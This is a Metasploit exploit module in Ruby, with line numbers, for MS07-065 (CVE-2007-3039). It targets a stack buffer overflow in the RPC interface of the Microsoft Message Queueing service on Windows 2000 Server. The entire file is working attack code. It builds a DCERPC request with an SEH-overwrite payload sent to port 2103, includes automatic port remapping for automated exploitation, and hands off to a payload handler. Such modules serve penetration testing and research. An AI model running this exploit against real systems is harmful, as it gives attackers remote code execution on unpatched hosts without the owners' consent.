1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',
17
        'Description' => %q{
18
          This module exploits a stack buffer overflow in the RPC interface
19
          to the Microsoft Message Queueing service. This exploit requires
20
          the target system to have been configured with a DNS name and
21
          for that name to be supplied in the 'DNAME' option. This name does
22
          not need to be served by a valid DNS server, only configured on
23
          the target machine.
24
        },
25
        'Author' => [ 'hdm' ],
26
        'License' => MSF_LICENSE,
27
        'References' => [
28
          [ 'CVE', '2007-3039'],
29
          [ 'OSVDB', '39123'],
30
          [ 'MSB', 'MS07-065'],
31
        ],
32
        'Privileged' => true,
33
        'Payload' => {
34
          'Space' => 1024,
35
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
36
          'StackAdjustment' => -3500,
37

38
        },
39
        'Platform' => %w{win},
40
        'Targets' => [
41
          [
42
            'Windows 2000 Server English',
43
            {
44
              'Platform' => 'win',
45
              'Ret' => 0x75022ac4 # ws2help - pop/pop/ret
46
            },
47
          ],
48
        ],
49
        'DisclosureDate' => '2007-12-11',
50
        'DefaultTarget' => 0,
51
        'Notes' => {
52
          'Reliability' => UNKNOWN_RELIABILITY,
53
          'Stability' => UNKNOWN_STABILITY,
54
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
        }
56
      )
57
    )
58

59
    # Change the default port values to point at MSMQ
60
    register_options(
61
      [
62
        Opt::RPORT(2103),
63
        OptString.new('DNAME', [ true, "The DNS hostname of the target" ]),
64
      ]
65
    )
66
  end
67

68
  def autofilter
69
    # Common vulnerability scanning tools report port 445/139
70
    # due to how they test for the vulnerability. Remap this
71
    # back to 2103 for automated exploitation
72

73
    rport = datastore['RPORT'].to_i
74
    if (rport == 445 or rport == 139)
75
      datastore['RPORT'] = 2103
76
    end
77

78
    # The fqdn is required to exploit this bug
79
    if (not datastore['DNAME'])
80
      # XXX automatically determine the hostname
81
      return false
82
    end
83

84
    true
85
  end
86

87
  def exploit
88
    connect
89
    print_status("Trying target #{target.name}...")
90

91
    handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
92
    print_status("Binding to #{handle} ...")
93
    dcerpc_bind(handle)
94
    print_status("Bound to #{handle} ...")
95

96
    dname = datastore['DNAME']
97

98
    boom = rand_text_alphanumeric(4096)
99

100
    hname, domain = dname.split(".")
101

102
    if (not domain)
103
      print_status("The DNAME parameter specified is not valid.")
104
      print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")
105
      return
106
    end
107

108
    off = 310 - (hname.length * 2)
109

110
    seh = generate_seh_payload(target.ret)
111
    boom[off, seh.length] = seh
112

113
    buff = Rex::Text.to_unicode("#{dname}\\")
114
    buff << boom
115
    buff << "\x00\x00"
116

117
    # Data alignment
118
    while (buff.length % 4 != 0)
119
      buff << "\x00"
120
    end
121

122
    stubdata =
123
      NDR.long(1) +                                           # [in] long arg_1,
124
      NDR.UnicodeConformantVaryingStringPreBuilt(buff) +      # [in][string] wchar_t * arg_2,
125
      NDR.long(0) * 5                                         # ... fields we can ignore
126

127
    print_status('Sending exploit...')
128

129
    begin
130
      response = dcerpc.call(6, stubdata)
131

132
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
133
        case dcerpc.last_response.stub_data
134
        when "\x14\x00\x0e\xc0"
135
          print_error("Error: The wrong value has been supplied for the DNAME parameter")
136
          print_error("This value must be the fully-qualified domain name of the target")
137
          print_error("Many systems have no FQDN configured and cannot be exploited")
138
        else
139
          print_status("An unknown response was received from the server:")
140
          print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
141
        end
142
      end
143
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
144
      print_status("No response from the DCERPC service (this is usually a good thing).")
145
    end
146

147
    handler
148
    disconnect
149
  end
150
end
151

152